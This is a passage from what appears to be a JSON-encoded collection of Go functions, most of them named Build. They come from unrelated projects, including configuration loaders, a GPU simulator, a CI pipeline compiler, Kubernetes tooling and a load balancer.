t.Router\\n\\tk.On(\\\"prefix\\\", Auth(CmdPrefix)).Set(\\\"\\\", \\\"sets the guild command prefix\\\")\\n\\tk.On(\\\"admins\\\", Auth(CmdAdmins)).Set(\\\"\\\", \\\"sets the admin list\\\")\\n}\",\n \"func (c *Config) Build() weather.Provider {\\n\\t// Build the OWM URL.\\n\\twURL := url.URL{\\n\\t\\tScheme: \\\"http\\\",\\n\\t\\tHost: \\\"api.wunderground.com\\\",\\n\\t\\tPath: fmt.Sprintf(\\\"/api/%s/conditions/q/%s.json\\\", c.apiKey, c.query),\\n\\t}\\n\\treturn Provider(wURL.String())\\n}\",\n \"func (b Builder) Build(name string) *CommandProcessor {\\n\\tcp := new(CommandProcessor)\\n\\tcp.TickingComponent = sim.NewTickingComponent(name, b.engine, b.freq, cp)\\n\\n\\tunlimited := math.MaxInt32\\n\\tcp.ToDriver = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToDriver\\\")\\n\\tcp.toDriverSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDriver, buffering.NewBuffer(unlimited))\\n\\tcp.ToDMA = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToDispatcher\\\")\\n\\tcp.toDMASender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToCUs = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToCUs\\\")\\n\\tcp.toCUsSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToTLBs = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToTLBs\\\")\\n\\tcp.toTLBsSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToRDMA = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToRDMA\\\")\\n\\tcp.toRDMASender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToPMC = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToPMC\\\")\\n\\tcp.toPMCSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToAddressTranslators = sim.NewLimitNumMsgPort(cp, 1,\\n\\t\\tname+\\\".ToAddressTranslators\\\")\\n\\tcp.toAddressTranslatorsSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\tcp.ToCaches = sim.NewLimitNumMsgPort(cp, 1, name+\\\".ToCaches\\\")\\n\\tcp.toCachesSender = akitaext.NewBufferedSender(\\n\\t\\tcp.ToDMA, buffering.NewBuffer(unlimited))\\n\\n\\tcp.bottomKernelLaunchReqIDToTopReqMap =\\n\\t\\tmake(map[string]*protocol.LaunchKernelReq)\\n\\tcp.bottomMemCopyH2DReqIDToTopReqMap =\\n\\t\\tmake(map[string]*protocol.MemCopyH2DReq)\\n\\tcp.bottomMemCopyD2HReqIDToTopReqMap =\\n\\t\\tmake(map[string]*protocol.MemCopyD2HReq)\\n\\n\\tb.buildDispatchers(cp)\\n\\n\\tif b.visTracer != nil {\\n\\t\\ttracing.CollectTrace(cp, b.visTracer)\\n\\t}\\n\\n\\treturn cp\\n}\",\n \"func (c *SplitterConfig) Build(flushAtEOF bool, maxLogSize int) (*Splitter, error) {\\n\\tenc, err := c.EncodingConfig.Build()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tflusher := c.Flusher.Build()\\n\\tsplitFunc, err := c.Multiline.Build(enc.Encoding, flushAtEOF, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, flusher, maxLogSize)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn &Splitter{\\n\\t\\tEncoding: enc,\\n\\t\\tFlusher: flusher,\\n\\t\\tSplitFunc: splitFunc,\\n\\t}, nil\\n}\",\n \"func Build(ns string, app *parser.Appfile) (*v1alpha2.ApplicationConfiguration, []*v1alpha2.Component, error) {\\n\\tb := &builder{app}\\n\\treturn b.CompleteWithContext(ns)\\n}\",\n \"func (b *Builder) Build() Interface {\\n\\tswitch {\\n\\tcase b.path != \\\"\\\":\\n\\t\\tfSys := fs.NewDocumentFs()\\n\\t\\treturn NewKubeConfig(FromFile(b.path, fSys), InjectFilePath(b.path, fSys), InjectTempRoot(b.root))\\n\\tcase b.fromParent():\\n\\t\\t// TODO add method that would get kubeconfig from parent cluster and glue it together\\n\\t\\t// with parent kubeconfig if needed\\n\\t\\treturn NewKubeConfig(func() ([]byte, error) {\\n\\t\\t\\treturn nil, errors.ErrNotImplemented{}\\n\\t\\t})\\n\\tcase b.bundlePath != \\\"\\\":\\n\\t\\treturn NewKubeConfig(FromBundle(b.bundlePath), InjectTempRoot(b.root))\\n\\tdefault:\\n\\t\\tfSys := fs.NewDocumentFs()\\n\\t\\t// return default path to kubeconfig file in airship workdir\\n\\t\\tpath := filepath.Join(util.UserHomeDir(), config.AirshipConfigDir, KubeconfigDefaultFileName)\\n\\t\\treturn NewKubeConfig(FromFile(path, fSys), InjectFilePath(path, fSys), InjectTempRoot(b.root))\\n\\t}\\n}\",\n \"func (c *Compiler) Compile(conf *yaml.Config) *backend.Config {\\n\\tconfig := new(backend.Config)\\n\\n\\t// create a default volume\\n\\tconfig.Volumes = append(config.Volumes, &backend.Volume{\\n\\t\\tName: fmt.Sprintf(\\\"%s_default\\\", c.prefix),\\n\\t\\tDriver: \\\"local\\\",\\n\\t})\\n\\n\\t// create a default network\\n\\tconfig.Networks = append(config.Networks, &backend.Network{\\n\\t\\tName: fmt.Sprintf(\\\"%s_default\\\", c.prefix),\\n\\t\\tDriver: \\\"bridge\\\",\\n\\t})\\n\\n\\t// overrides the default workspace paths when specified\\n\\t// in the YAML file.\\n\\tif len(conf.Workspace.Base) != 0 {\\n\\t\\tc.base = conf.Workspace.Base\\n\\t}\\n\\tif len(conf.Workspace.Path) != 0 {\\n\\t\\tc.path = conf.Workspace.Path\\n\\t}\\n\\n\\t// add default clone step\\n\\tif c.local == false && len(conf.Clone.Containers) == 0 {\\n\\t\\tcontainer := &yaml.Container{\\n\\t\\t\\tName: \\\"clone\\\",\\n\\t\\t\\tImage: \\\"crun/git:latest\\\",\\n\\t\\t\\tVargs: map[string]interface{}{\\\"depth\\\": \\\"0\\\"},\\n\\t\\t}\\n\\t\\tswitch c.metadata.Sys.Arch {\\n\\t\\tcase \\\"linux/arm\\\":\\n\\t\\t\\tcontainer.Image = \\\"crun/git:linux-arm\\\"\\n\\t\\tcase \\\"linux/arm64\\\":\\n\\t\\t\\tcontainer.Image = \\\"crun/git:linux-arm64\\\"\\n\\t\\t}\\n\\t\\tname := fmt.Sprintf(\\\"%s_clone\\\", c.prefix)\\n\\t\\tstep := c.createProcess(name, container, \\\"clone\\\")\\n\\n\\t\\tstage := new(backend.Stage)\\n\\t\\tstage.Name = name\\n\\t\\tstage.Alias = \\\"clone\\\"\\n\\t\\tstage.Steps = append(stage.Steps, step)\\n\\n\\t\\tconfig.Stages = append(config.Stages, stage)\\n\\t} else if c.local == false {\\n\\t\\tfor i, container := range conf.Clone.Containers {\\n\\t\\t\\tif !container.Constraints.Match(c.metadata) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tstage := new(backend.Stage)\\n\\t\\t\\tstage.Name = fmt.Sprintf(\\\"%s_clone_%v\\\", c.prefix, i)\\n\\t\\t\\tstage.Alias = container.Name\\n\\n\\t\\t\\tname := fmt.Sprintf(\\\"%s_clone_%d\\\", c.prefix, i)\\n\\t\\t\\tstep := c.createProcess(name, container, \\\"clone\\\")\\n\\t\\t\\tstage.Steps = append(stage.Steps, step)\\n\\n\\t\\t\\tconfig.Stages = append(config.Stages, stage)\\n\\t\\t}\\n\\t}\\n\\n\\t// c.setupCache2(conf, config)\\n\\tc.RestoreCache(conf, config)\\n\\n\\t// add services steps\\n\\tif len(conf.Services.Containers) != 0 {\\n\\t\\tstage := new(backend.Stage)\\n\\t\\tstage.Name = fmt.Sprintf(\\\"%s_services\\\", c.prefix)\\n\\t\\tstage.Alias = \\\"services\\\"\\n\\n\\t\\tfor i, container := range conf.Services.Containers {\\n\\t\\t\\tif !container.Constraints.Match(c.metadata) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\tname := fmt.Sprintf(\\\"%s_services_%d\\\", c.prefix, i)\\n\\t\\t\\tstep := c.createProcess(name, container, \\\"services\\\")\\n\\t\\t\\tstage.Steps = append(stage.Steps, step)\\n\\n\\t\\t}\\n\\t\\tconfig.Stages = append(config.Stages, stage)\\n\\t}\\n\\n\\t// add pipeline steps. 1 pipeline step per stage, at the moment\\n\\tvar stage *backend.Stage\\n\\tvar group string\\n\\tfor i, container := range conf.Pipeline.Containers {\\n\\t\\t//Skip if local and should not run local\\n\\t\\tif c.local && !container.Constraints.Local.Bool() {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif !container.Constraints.Match(c.metadata) {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tif stage == nil || group != container.Group || container.Group == \\\"\\\" {\\n\\t\\t\\tgroup = container.Group\\n\\n\\t\\t\\tstage = new(backend.Stage)\\n\\t\\t\\tstage.Name = fmt.Sprintf(\\\"%s_stage_%v\\\", c.prefix, i)\\n\\t\\t\\tstage.Alias = container.Name\\n\\t\\t\\tconfig.Stages = append(config.Stages, stage)\\n\\t\\t}\\n\\n\\t\\tname := fmt.Sprintf(\\\"%s_step_%d\\\", c.prefix, i)\\n\\t\\tstep := c.createProcess(name, container, \\\"pipeline\\\")\\n\\t\\tstage.Steps = append(stage.Steps, step)\\n\\t}\\n\\n\\t// c.setupCacheRebuild2(conf, config)\\n\\tc.SaveCache(conf, config)\\n\\n\\treturn config\\n}\",\n \"func (c *configLoader) Build() (*koanf.Koanf, prometheus.MultiError) {\\n\\tvar warnings prometheus.MultiError\\n\\n\\tconfig := make(map[string]interface{})\\n\\tpriorities := make(map[string]int)\\n\\n\\tfor _, item := range c.items {\\n\\t\\t_, configExists := config[item.Key]\\n\\t\\tpreviousPriority := priorities[item.Key]\\n\\n\\t\\tswitch {\\n\\t\\t// Higher priority items overwrite previous values.\\n\\t\\tcase !configExists || previousPriority < item.Priority:\\n\\t\\t\\tconfig[item.Key] = item.Value\\n\\t\\t\\tpriorities[item.Key] = item.Priority\\n\\t\\t// Same priority items are merged (slices are appended and maps are merged).\\n\\t\\tcase previousPriority == item.Priority:\\n\\t\\t\\tvar err error\\n\\n\\t\\t\\tconfig[item.Key], err = merge(config[item.Key], item.Value)\\n\\t\\t\\twarnings.Append(err)\\n\\t\\t// Previous item has higher priority, nothing to do.\\n\\t\\tcase previousPriority > item.Priority:\\n\\t\\t}\\n\\t}\\n\\n\\tk := koanf.New(delimiter)\\n\\terr := k.Load(confmap.Provider(config, delimiter), nil)\\n\\twarnings.Append(err)\\n\\n\\treturn k, warnings\\n}\",\n \"func (rb *PipelineConfigBuilder) Build() PipelineConfig {\\n\\treturn *rb.v\\n}\",\n \"func buildConfig(opts []Option) config {\\n\\tc := config{\\n\\t\\tclock: clock.New(),\\n\\t\\tslack: 10,\\n\\t\\tper: time.Second,\\n\\t}\\n\\n\\tfor _, opt := range opts {\\n\\t\\topt.apply(&c)\\n\\t}\\n\\treturn c\\n}\",\n \"func (o Opearion) Build() string {\\n\\treturn o.Operation + \\\" \\\"\\n}\",\n \"func BuildFromString(config string, logger core.Logger) (*Config, error) {\\n\\tc := NewConfig(logger)\\n\\tif err := gcfg.ReadStringInto(c, config); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn c, nil\\n}\",\n \"func make() *Config {\\n\\t// instantiating configuration\\n\\tconf = &Config{}\\n\\n\\t// filling the structure\\n\\terr := iterateTemplate(conf, false)\\n\\n\\tcheckError(err)\\n\\n\\t// parsing set flags\\n\\tflag.Parse()\\n\\n\\tif conf.Basic.Debug {\\n\\t\\tprintConfToLog(conf)\\n\\t}\\n\\n\\treturn conf\\n}\",\n \"func (sb *StreamBuilder) Build() (*Topology, []error) {\\n\\treturn sb.tp.Build()\\n}\",\n \"func (o FunctionBuildConfigPtrOutput) Build() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v *FunctionBuildConfig) *string {\\n\\t\\tif v == nil {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn v.Build\\n\\t}).(pulumi.StringPtrOutput)\\n}\",\n \"func makeIndexBuilder(c Configuration) IndexBuilder {\\n\\tif c.BuildIndexStrategy == \\\"Concurrent\\\" {\\n\\t\\treturn BuildIndexConcurrent{}\\n\\t}\\n\\tif c.BuildIndexStrategy == \\\"Iterative\\\" {\\n\\t\\treturn BuildIndexWithWalk{}\\n\\t}\\n\\tfmt.Println(os.Stderr, \\\"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\\\")\\n\\treturn BuildIndexConcurrent{}\\n}\",\n \"func (n *ShiftNode) Build(s *pipeline.ShiftNode) (ast.Node, error) {\\n\\tn.Pipe(\\\"shift\\\", s.Shift)\\n\\treturn n.prev, n.err\\n}\",\n \"func (b *DiffConfigBuilder) Build() (DiffConfig, error) {\\n\\terr := b.diffConfig.Validate()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn b.diffConfig, nil\\n}\",\n \"func (c *LogAnalyticsInputConfig) Build(buildContext operator.BuildContext) ([]operator.Operator, error) {\\n\\tif err := c.AzureConfig.Build(buildContext, c.InputConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tlogAnalyticsInput := &LogAnalyticsInput{\\n\\t\\tEventHub: azure.EventHub{\\n\\t\\t\\tAzureConfig: c.AzureConfig,\\n\\t\\t\\tPersist: &azure.Persister{\\n\\t\\t\\t\\tDB: helper.NewScopedDBPersister(buildContext.Database, c.ID()),\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tjson: jsoniter.ConfigFastest,\\n\\t}\\n\\treturn []operator.Operator{logAnalyticsInput}, nil\\n}\",\n \"func (b *Builder) Build() (err error) {\\n\\tdefer func() {\\n\\t\\tif r := recover(); r != nil {\\n\\t\\t\\t// This code allows us to propagate errors without adding lots of checks\\n\\t\\t\\t// for `if err != nil` throughout the construction code. This is only\\n\\t\\t\\t// possible because the code does not update shared state and does not\\n\\t\\t\\t// manipulate locks.\\n\\t\\t\\tif ok, e := errorutil.ShouldCatch(r); ok {\\n\\t\\t\\t\\terr = e\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tpanic(r)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\t// TODO (rohany): We shouldn't be modifying the semaCtx passed to the builder\\n\\t// but we unfortunately rely on mutation to the semaCtx. We modify the input\\n\\t// semaCtx during building of opaque statements, and then expect that those\\n\\t// mutations are visible on the planner's semaCtx.\\n\\n\\t// Hijack the input TypeResolver in the semaCtx to record all of the user\\n\\t// defined types that we resolve while building this query.\\n\\texistingResolver := b.semaCtx.TypeResolver\\n\\t// Ensure that the original TypeResolver is reset after.\\n\\tdefer func() { b.semaCtx.TypeResolver = existingResolver }()\\n\\ttypeTracker := &optTrackingTypeResolver{\\n\\t\\tres: b.semaCtx.TypeResolver,\\n\\t\\tmetadata: b.factory.Metadata(),\\n\\t}\\n\\tb.semaCtx.TypeResolver = typeTracker\\n\\n\\t// Special case for CannedOptPlan.\\n\\tif canned, ok := b.stmt.(*tree.CannedOptPlan); ok {\\n\\t\\tb.factory.DisableOptimizations()\\n\\t\\t_, err := exprgen.Build(b.catalog, b.factory, canned.Plan)\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Build the memo, and call SetRoot on the memo to indicate the root group\\n\\t// and physical properties.\\n\\toutScope := b.buildStmtAtRoot(b.stmt, nil /* desiredTypes */)\\n\\n\\tphysical := outScope.makePhysicalProps()\\n\\tb.factory.Memo().SetRoot(outScope.expr, physical)\\n\\treturn nil\\n}\",\n \"func NewOperator(config Config, deps Dependencies) (*Operator, error) {\\n\\to := &Operator{\\n\\t\\tConfig: config,\\n\\t\\tDependencies: deps,\\n\\t\\tlog: deps.LogService.MustGetLogger(\\\"operator\\\"),\\n\\t\\tdeployments: make(map[string]*deployment.Deployment),\\n\\t\\tdeploymentReplications: make(map[string]*replication.DeploymentReplication),\\n\\t\\tlocalStorages: make(map[string]*storage.LocalStorage),\\n\\t}\\n\\treturn o, nil\\n}\",\n \"func (lb *LB) Build(conf config.Config) *LB {\\n\\tswitch conf.Balancing {\\n\\tcase \\\"ip-hash\\\":\\n\\t\\tih, err := iphash.New(conf.Servers.GetAddress())\\n\\t\\tif err != nil {\\n\\t\\t\\tglg.Fatalln(errors.Wrap(err, \\\"ip-hash algorithm\\\"))\\n\\t\\t}\\n\\n\\t\\tlb.balancing = b.New(ih)\\n\\t\\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\\n\\tcase \\\"round-robin\\\":\\n\\t\\trr, err := roundrobin.New(conf.Servers.GetAddress())\\n\\t\\tif err != nil {\\n\\t\\t\\tglg.Fatalln(errors.Wrap(err, \\\"round-robin algorithm\\\"))\\n\\t\\t}\\n\\n\\t\\tlb.balancing = b.New(rr)\\n\\t\\tlb.Handler = http.HandlerFunc(lb.roundRobinBalancing)\\n\\tcase \\\"least-connections\\\":\\n\\t\\tlc, err := leastconnections.New(conf.Servers.GetAddress())\\n\\t\\tif err == nil {\\n\\t\\t\\tglg.Fatalln(errors.Wrap(err, \\\"least-connections algorithm\\\"))\\n\\t\\t}\\n\\n\\t\\tlb.balancing = b.New(lc)\\n\\t\\tlb.Handler = http.HandlerFunc(lb.ipHashBalancing)\\n\\tdefault:\\n\\t\\tglg.Fatalln(errors.Wrap(ErrInvalidBalancingAlgorithm, conf.Balancing))\\n\\t}\\n\\n\\treturn lb\\n}\",\n \"func Build(kubeClient *client.Client) (*RouterConfig, error) {\\n\\t// Get all relevant information from k8s:\\n\\t// deis-router rc\\n\\t// All services with label \\\"routable=true\\\"\\n\\t// deis-builder service, if it exists\\n\\t// These are used to construct a model...\\n\\trouterRC, err := getRC(kubeClient)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tappServices, err := getAppServices(kubeClient)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t// builderService might be nil if it's not found and that's ok.\\n\\tbuilderService, err := getBuilderService(kubeClient)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tplatformCertSecret, err := getSecret(kubeClient, \\\"deis-router-platform-cert\\\", namespace)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\t// Build the model...\\n\\trouterConfig, err := build(kubeClient, routerRC, platformCertSecret, appServices, builderService)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn routerConfig, nil\\n}\",\n \"func buildConfig(opts []Option) (*Config, error) {\\n\\tcfg := &Config{\\n\\t\\tkeyPrefix: DefKeyPrefix,\\n\\t}\\n\\n\\tfor _, opt := range opts {\\n\\t\\tif err := opt(cfg); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\treturn cfg, nil\\n}\",\n \"func Build(builder *di.Builder, configuration *configuration.Configuration) {\\n\\terr := builder.Add(\\n\\t\\tdi.Def{\\n\\t\\t\\tName: \\\"blackFridayPromotion\\\",\\n\\t\\t\\tScope: di.Request,\\n\\t\\t\\tBuild: func(ctn di.Container) (interface{}, error) {\\n\\t\\t\\t\\tlogger := ctn.Get(\\\"logger\\\").(*zap.SugaredLogger)\\n\\t\\t\\t\\tblackFridayPromotionLogger := logger.Named(\\\"BlackFridayPromotion\\\")\\n\\n\\t\\t\\t\\tblackFridayDate := configuration.BlackFridayDay\\n\\t\\t\\t\\tgetGiftProductUseCase := ctn.Get(\\\"getGiftProductUseCase\\\").(*catalog.GetGiftProductUseCase)\\n\\t\\t\\t\\treturn promotional.NewBlackFridayPromotion(blackFridayPromotionLogger, blackFridayDate, getGiftProductUseCase), nil\\n\\t\\t\\t},\\n\\t\\t\\tClose: nil,\\n\\t\\t},\\n\\t\\tdi.Def{\\n\\t\\t\\tName: \\\"promotionsApplierUseCase\\\",\\n\\t\\t\\tScope: di.Request,\\n\\t\\t\\tBuild: func(ctn di.Container) (interface{}, error) {\\n\\t\\t\\t\\tlogger := ctn.Get(\\\"logger\\\").(*zap.SugaredLogger)\\n\\t\\t\\t\\tpromotionsApplierUseCaseLogger := logger.Named(\\\"PromotionsApplierUseCase\\\")\\n\\n\\t\\t\\t\\tblackFridayPromotion := ctn.Get(\\\"blackFridayPromotion\\\").(*promotional.BlackFridayPromotion)\\n\\t\\t\\t\\tactivePromotions := []promotion.Promotion{blackFridayPromotion}\\n\\t\\t\\t\\treturn promotional.NewPromotionsApplierUseCase(promotionsApplierUseCaseLogger, activePromotions), nil\\n\\t\\t\\t},\\n\\t\\t\\tClose: nil,\\n\\t\\t},\\n\\t\\tdi.Def{\\n\\t\\t\\tName: \\\"makeCartUseCase\\\",\\n\\t\\t\\tScope: di.Request,\\n\\t\\t\\tBuild: func(ctn di.Container) (interface{}, error) {\\n\\t\\t\\t\\tlogger := ctn.Get(\\\"logger\\\").(*zap.SugaredLogger)\\n\\t\\t\\t\\tmakeCartUseCaseLogger := logger.Named(\\\"MakeCartUseCase\\\")\\n\\n\\t\\t\\t\\tpickProductsUseCase := ctn.Get(\\\"pickProductsUseCase\\\").(*catalog.PickProductsUseCase)\\n\\t\\t\\t\\tpromotionsApplierUseCase := ctn.Get(\\\"promotionsApplierUseCase\\\").(*promotional.PromotionsApplierUseCase)\\n\\t\\t\\t\\treturn application.NewMakeCartUseCase(makeCartUseCaseLogger, pickProductsUseCase, promotionsApplierUseCase), nil\\n\\t\\t\\t},\\n\\t\\t\\tClose: nil,\\n\\t\\t})\\n\\n\\tif err != nil {\\n\\t\\terrorMessage := fmt.Sprintf(\\\"%v: %v\\\", errBuildCheckoutModule, err.Error())\\n\\t\\tlog.Panic(errorMessage)\\n\\t}\\n\\n\\tlog.Print(\\\"the checkout module was constructed\\\")\\n}\",\n \"func Build(input []byte) ([]byte, error) {\\n\\tast, err := Parse(input)\\n\\tif err != nil {\\n\\t\\treturn []byte{}, err\\n\\t}\\n\\n\\toutput, err := ast.String()\\n\\tif err != nil {\\n\\t\\treturn []byte{}, err\\n\\t}\\n\\n\\treturn []byte(output), nil\\n}\",\n \"func Build(p *v1alpha1.Pipeline) (*DAG, error) {\\n\\td := new()\\n\\n\\t// Add all Tasks mentioned in the `PipelineSpec`\\n\\tfor _, pt := range p.Spec.Tasks {\\n\\t\\tif _, err := d.addPipelineTask(pt); err != nil {\\n\\t\\t\\treturn nil, errors.NewDuplicatePipelineTask(p, pt.Name)\\n\\t\\t}\\n\\t}\\n\\t// Process all from constraints to add task dependency\\n\\tfor _, pt := range p.Spec.Tasks {\\n\\t\\tif pt.Resources != nil {\\n\\t\\t\\tfor _, rd := range pt.Resources.Inputs {\\n\\t\\t\\t\\tfor _, constraint := range rd.From {\\n\\t\\t\\t\\t\\t// We need to add dependency from constraint to node n\\n\\t\\t\\t\\t\\tprev, ok := d.Nodes[constraint]\\n\\t\\t\\t\\t\\tif !ok {\\n\\t\\t\\t\\t\\t\\treturn nil, errors.NewPipelineTaskNotFound(p, constraint)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tnext, _ := d.Nodes[pt.Name]\\n\\t\\t\\t\\t\\tif err := d.addPrevPipelineTask(prev, next); err != nil {\\n\\t\\t\\t\\t\\t\\treturn nil, errors.NewInvalidPipeline(p, err.Error())\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn d, nil\\n}\",\n \"func BuildConfig(opt ClientOptions) (*rest.Config, error) {\\n\\tvar cfg *rest.Config\\n\\tvar err error\\n\\n\\tmaster := opt.Master\\n\\tkubeconfig := opt.KubeConfig\\n\\tcfg, err = clientcmd.BuildConfigFromFlags(master, kubeconfig)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcfg.QPS = opt.QPS\\n\\tcfg.Burst = opt.Burst\\n\\n\\treturn cfg, nil\\n}\",\n \"func (co *serverConfig) Build() serverConfig {\\n\\n\\treturn serverConfig{\\n\\t\\tURL: co.URL,\\n\\t\\tRetry: co.Retry,\\n\\t\\tRetryWaitTime: co.RetryWaitTime,\\n\\t}\\n}\",\n \"func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\\n\\tlogger = logger.With(\\\"operator\\\", operatorName)\\n\\n\\thandler := NewHandler(logger)\\n\\tcrd := NewMultiRoleBindingCRD(k8ssvc)\\n\\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\\n\\treturn operator.NewOperator(crd, ctrl, logger)\\n}\",\n \"func (cb *ConfigBuilder) Build() *gojmx.JMXConfig {\\n\\treturn cb.config\\n}\",\n \"func (n *SideloadNode) Build(d *pipeline.SideloadNode) (ast.Node, error) {\\n\\tn.Pipe(\\\"sideload\\\")\\n\\n\\tn.Dot(\\\"source\\\", d.Source)\\n\\torder := make([]interface{}, len(d.OrderList))\\n\\tfor i := range d.OrderList {\\n\\t\\torder[i] = d.OrderList[i]\\n\\t}\\n\\tn.Dot(\\\"order\\\", order...)\\n\\n\\tvar fieldKeys []string\\n\\tfor k := range d.Fields {\\n\\t\\tfieldKeys = append(fieldKeys, k)\\n\\t}\\n\\tsort.Strings(fieldKeys)\\n\\tfor _, k := range fieldKeys {\\n\\t\\tn.Dot(\\\"field\\\", k, d.Fields[k])\\n\\t}\\n\\n\\tvar tagKeys []string\\n\\tfor k := range d.Tags {\\n\\t\\ttagKeys = append(tagKeys, k)\\n\\t}\\n\\tsort.Strings(tagKeys)\\n\\tfor _, k := range tagKeys {\\n\\t\\tn.Dot(\\\"tag\\\", k, d.Tags[k])\\n\\t}\\n\\treturn n.prev, n.err\\n}\",\n \"func loadConfig(l log.Logger) *operator.Config {\\n\\tfs := flag.NewFlagSet(os.Args[0], flag.ExitOnError)\\n\\n\\tvar (\\n\\t\\tprintVersion bool\\n\\t)\\n\\n\\tcfg, err := operator.NewConfig(fs)\\n\\tif err != nil {\\n\\t\\tlevel.Error(l).Log(\\\"msg\\\", \\\"failed to parse flags\\\", \\\"err\\\", err)\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tfs.BoolVar(&printVersion, \\\"version\\\", false, \\\"Print this build's version information\\\")\\n\\n\\tif err := fs.Parse(os.Args[1:]); err != nil {\\n\\t\\tlevel.Error(l).Log(\\\"msg\\\", \\\"failed to parse flags\\\", \\\"err\\\", err)\\n\\t\\tos.Exit(1)\\n\\t}\\n\\n\\tif printVersion {\\n\\t\\tfmt.Println(build.Print(\\\"agent-operator\\\"))\\n\\t\\tos.Exit(0)\\n\\t}\\n\\n\\treturn cfg\\n}\",\n \"func buildConfig(opts []Option) config {\\r\\n\\tc := config{\\r\\n\\t\\tclock: clock.New(),\\r\\n\\t\\tmaxSlack: 10,\\r\\n\\t\\tper: time.Second,\\r\\n\\t}\\r\\n\\tfor _, opt := range opts {\\r\\n\\t\\topt.apply(&c)\\r\\n\\t}\\r\\n\\treturn c\\r\\n}\",\n \"func (p *PublisherMunger) construct() error {\\n\\tkubernetesRemote := filepath.Join(p.k8sIOPath, \\\"kubernetes\\\", \\\".git\\\")\\n\\tfor _, repoRules := range p.reposRules {\\n\\t\\t// clone the destination repo\\n\\t\\tdstDir := filepath.Join(p.k8sIOPath, repoRules.dstRepo, \\\"\\\")\\n\\t\\tdstURL := fmt.Sprintf(\\\"https://github.com/%s/%s.git\\\", p.githubConfig.Org, repoRules.dstRepo)\\n\\t\\tif err := p.ensureCloned(dstDir, dstURL); err != nil {\\n\\t\\t\\tp.plog.Errorf(\\\"%v\\\", err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tp.plog.Infof(\\\"Successfully ensured %s exists\\\", dstDir)\\n\\t\\tif err := os.Chdir(dstDir); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t// construct branches\\n\\t\\tformatDeps := func(deps []coordinate) string {\\n\\t\\t\\tvar depStrings []string\\n\\t\\t\\tfor _, dep := range deps {\\n\\t\\t\\t\\tdepStrings = append(depStrings, fmt.Sprintf(\\\"%s:%s\\\", dep.repo, dep.branch))\\n\\t\\t\\t}\\n\\t\\t\\treturn strings.Join(depStrings, \\\",\\\")\\n\\t\\t}\\n\\n\\t\\tfor _, branchRule := range repoRules.srcToDst {\\n\\t\\t\\tcmd := exec.Command(repoRules.publishScript, branchRule.src.branch, branchRule.dst.branch, formatDeps(branchRule.deps), kubernetesRemote)\\n\\t\\t\\toutput, err := cmd.CombinedOutput()\\n\\t\\t\\tp.plog.Infof(\\\"%s\\\", output)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tp.plog.Infof(\\\"Successfully constructed %s\\\", branchRule.dst)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Chain) Build(r io.Reader) {\\r\\n\\tbr := bufio.NewReader(r)\\r\\n\\tp := make(Prefix, c.prefixLen)\\r\\n\\tfor {\\r\\n\\t\\tvar word string\\r\\n\\t\\tif _, err := fmt.Fscan(br, &word); err != nil {\\r\\n\\t\\t\\tbreak\\r\\n\\t\\t}\\r\\n\\t\\tkey := p.String()\\r\\n\\t\\tc.prefixChain[key] = 